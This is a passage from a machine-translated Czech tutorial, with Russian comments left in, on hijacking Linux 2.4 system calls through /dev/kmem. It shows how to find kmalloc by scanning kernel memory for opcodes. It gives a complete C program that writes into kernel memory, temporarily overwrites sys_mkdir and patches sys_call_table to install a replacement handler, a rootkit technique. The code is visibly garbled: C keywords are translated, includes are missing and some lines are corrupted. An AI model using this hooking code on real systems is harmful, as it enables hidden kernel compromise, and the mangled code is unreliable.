  • definujeme funkci, která provádí volání funkce kmalloc. Tato funkce vrací ukazatel na blok paměti v adresovém prostoru jádra. Zavolejte tuto funkci get_kmalloc
  • uložit prvních N bajtů systémového volání sys_mkdir, kde N je velikost funkce get_kmalloc
  • přepište prvních N bajtů volání sys_mkdir funkcí get_kmalloc
  • provedeme volání systémového volání sys_mkdir, čímž spustíme funkci get_kmalloc pro provedení
  • obnovit prvních N bajtů systémového volání sys_mkdir
V důsledku toho budeme mít blok paměti umístěný v prostoru jádra.

K implementaci tohoto algoritmu však potřebujeme adresu funkce kmalloc. Můžete to najít několika způsoby. Nejjednodušší je načíst tuto adresu ze souboru System.map nebo ji určit pomocí gdb debuggeru (print &kmalloc). Pokud má jádro povolenou podporu modulů, lze adresu kmalloc určit pomocí funkce get_kernel_syms(). Tato možnost bude dále diskutována. Pokud neexistuje podpora pro moduly jádra, bude muset být adresa funkce kmalloc vyhledána pomocí operačního kódu příkazu kmalloc call - podobně jako to bylo provedeno pro tabulku sys_call_table.

Funkce kmalloc přebírá dva parametry: velikost požadované paměti a specifikátor GFP. Abychom našli operační kód, použijeme debugger a rozebereme jakoukoli funkci jádra, která obsahuje volání funkce kmalloc.

# gdb -q /usr/src/linux/vmlinux (gdb) disas inter_module_register Výpis kódu assembleru pro funkci inter_module_register: 0xc01a57b4 : push %ebp 0xc01a57b5 : push %edi 0xc01a57b6 : push %esi 0xc01a57b7 : push %ebx 0xc01a57b8 : pod $0x10,%esp 0xc01a57bb : mov 0x24(%esp,1),%ebx 0xc01a57bf : mov 0x28(%esp,1),%esi 0xc01a57c3 : mov 0x2c(%esp,1),%ebp 0xc01a57c7 : movl $0x1f0,0x4(%esp,1) 0xc01a57cf : movl $0x14,(%esp,1) 0xc01a57d6 : zavolejte 0xc01bea2a ... Bez ohledu na to, co funkce dělá, hlavní věcí v ní je to, co potřebujeme - volání funkce kmalloc. Věnujte pozornost posledním řádkům. Nejprve se do zásobníku načtou parametry (registr esp ukazuje na vrchol zásobníku) a poté následuje volání funkce. Specifikátor GFP je načten do zásobníku jako první ($0x1f0,0x4(%esp,1). Pro verze jádra 2.4.9 a vyšší je tato hodnota 0x1f0. Najděte operační kód pro tento příkaz: (gdb) x/xw inter_module_register+ 19 0xc01a57c7 : 0x042444c7 Pokud najdeme tento operační kód, můžeme vypočítat adresu funkce kmalloc. Adresa této funkce je na první pohled argumentem instrukce volání, ale není to tak úplně pravda. Na rozdíl od funkce system_call zde instrukce není adresa kmalloc, ale její offset vzhledem k aktuální adrese. Ověříme to definováním operačního kódu volání příkazu 0xc01bea2a: (gdb) x/xw inter_module_register+34 0xc01a57d6 : 0x01924fe8 První bajt je e8, což je operační kód instrukce volání. Najděte hodnotu argumentu tohoto příkazu: (gdb) x/xw inter_module_register+35 0xc01a57d7 : 0x0001924f Pokud nyní přidáme aktuální adresu 0xc01a57d6, offset 0x0001924f a 5 bajtů příkazu, dostaneme požadovanou adresu funkce kmalloc - 0xc01bea2a.

Tím jsou teoretické výpočty uzavřeny a pomocí výše uvedené techniky zachytíme systémové volání sys_mkdir.

6. Příklad odposlechu pomocí /dev/kmem

/* zdroj 6.0 */ #include #zahrnout #zahrnout #zahrnout #zahrnout #zahrnout #zahrnout #zahrnout /* Číslo systémového volání, které má být zachyceno */ #define _SYS_MKDIR_ 39 #define KMEM_FILE "/dev/kmem" #define MAX_SYMS 4096 /* Popis formátu registru IDTR */ struct ( nepodepsaný krátký limit; unsigned int base; ) __attribute__ ((zabaleno) ) idtr; /* Popis formátu brány přerušení tabulky IDT */ struct ( unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; ) __attribute__ ((packed)) idt; /* Popis struktury pro funkci get_kmalloc */ struct kma_struc ( ulong (*kmalloc) (uint, int); // - adresa funkce kmalloc int size; // - velikost paměti pro alokaci příznaků int; // - příznak, pro jádra > 2.4.9 = 0x1f0 (GFP) ulong mem; ) __attribute__ ((zabaleno)) kmalloc; /* Funkce, která pouze alokuje blok paměti v adresovém prostoru jádra */ int get_kmalloc(struct kma_struc *k) ( k->mem = k->kmalloc(k->velikost, k->příznaky); return 0 ; ) /* Funkce, která vrací adresu funkce (potřebné pro vyhledávání kmalloc) */ ulong get_sym(char *n) ( struct karta kernel_sym; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS || numsymmy< 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } /* Наша новая системная функция, ничего не делает;) */ int new_mkdir(const char *path) { return 0; } /* Читает из /dev/kmem с offset size данных в buf */ static inline int rkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset){ printf("lseek err\n"); return 0; } if (read(fd, buf, size) != size) return 0; return size; } /* Аналогично, но только пишет в /dev/kmem */ static inline int wkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* Читает из /dev/kmem данные размером 4 байта */ static inline int rkml(int fd, uint offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* Аналогично, но только пишет */ static inline int wkml(int fd, uint offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } /* Функция для получения адреса sys_call_table */ ulong get_sct(int kmem) { ulong sys_call_off; // - адрес обработчика // прерывания int $0x80 (функция system_call) char *p; char sc_asm; asm("sidt %0" : "=m" (idtr)); if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0; sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; printf("call for sys_call_table at %08x\n",p); if (p) return *(ulong *)p; return 0; } /* Функция для определения адреса функции kmalloc */ ulong get_kma(ulong pgoff) { uint i; unsigned char buf, *p, *p1; int kmemz; ulong ret; ret = get_sym("kmalloc"); if (ret) { printf("\nZer gut!\n"); return ret; } kmemz = open("/dev/kmem", O_RDONLY); if (kmemz < 0) return 0; for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000){ if (!rkm(kmemz, i, buf, sizeof(buf))) return 0; p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4); if(p1) { p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1; if (p) { close(kmemz); return *(unsigned long *)p+i+(p-buf)+4; } } } close(kmemz); return 0; } int main() { int kmem; // !! - пустые, нужно подставить ulong get_kmalloc_size; // - размер функции get_kmalloc !! ulong get_kmalloc_addr; // - адрес функции get_kmalloc !! ulong new_mkdir_size; // - размер функции-перехватчика!! ulong new_mkdir_addr; // - адрес функции-перехватчика!! ulong sys_mkdir_addr; // - адрес системного вызова sys_mkdir ulong page_offset; // - нижняя граница адресного // пространства ядра ulong sct; // - адрес таблицы sys_call_table ulong kma; // - адрес функции kmalloc unsigned char tmp; kmem = open(KMEM_FILE, O_RDWR, 0); if (kmem < 0) return 0; sct = get_sct(kmem); page_offset = sct & 0xF0000000; kma = get_kma(page_offset); printf("OK\n" "page_offset\t\t:\t0x%08x\n" "sys_call_table\t:\t0x%08x\n" "kmalloc()\t\t:\t0x%08x\n", page_offset,sct,kma); /* Найдем адрес sys_mkdir */ if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); perror("er: "); return 1; } /* Сохраним первые N байт вызова sys_mkdir */ if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); return 1; } /* Перепишем первые N байт, функцией get_kmalloc */ if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, get_kmalloc_size)) { printf("Can"t overwrite our syscall %d!\n",_SYS_MKDIR_); return 1; } kmalloc.kmalloc = (void *) kma; //- адрес функции kmalloc kmalloc.size = new_mkdir_size; //- размер запращевоемой // памяти (размер функции-перехватчика new_mkdir) kmalloc.flags = 0x1f0; //- спецификатор GFP /* Выполним сис. вызов sys_mkdir, тем самым выполним нашу функцию get_kmalloc */ mkdir((char *)&kmalloc,0); /* Востановим оригинальный вызов sys_mkdir */ if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Can"t restore syscall %d !\n",_SYS_MKDIR_); return 1; } if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1; } /* Оторбразим результаты */ printf("sys_mkdir_addr\t\t:\t0x%08x\n" "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n" "our kmem region\t\t:\t0x%08x\n" "size of our kmem\t:\t0x%08x (%d bytes)\n\n", sys_mkdir_addr, get_kmalloc_size, get_kmalloc_size, kmalloc.mem, kmalloc.size, kmalloc.size); /* Разместим в пространстве ядра наш новый сис. вызво */ if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, new_mkdir_size)) { printf("Unable to locate new system call !\n"); return 1; } /* Перепишем таблицу sys_call_table на наш новый вызов */ if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) { printf("Eh ..."); return 1; } return 1; } /* EOF */ Скомпилируем полученый код и определим адреса и размеры функций get_kmalloc и new_mkdir. Запускать полученое творение рано! Для вычисления адресов и размеров воспользуемся утилитой objdump: # gcc -o src-6.0 src-6.0.c # objdump -x ./src-6.0 >dump Otevřete soubor výpisu a najděte data, která nás zajímají: 080485a4 g F .text 00000032 get_kmalloc 080486b1 g F .text 0000000a new_mkdir Nyní přidejte tyto hodnoty do našeho programu: ulong get_0x32_size;= ulong get_kmalloc_addr=0x080485a4 ; ulong new_mkdir_size=0x0a; ulong new_mkdir_addr=0x080486b1; Nyní překompilujeme program. Po spuštění k provedení zachytíme systémové volání sys_mkdir. Všechna volání sys_mkdir budou nyní zpracovávána funkcí new_mkdir.

Konec papíru/EOP

Výkon kódu ze všech sekcí byl testován na jádře 2.4.22. Při přípravě zprávy byly použity materiály z lokality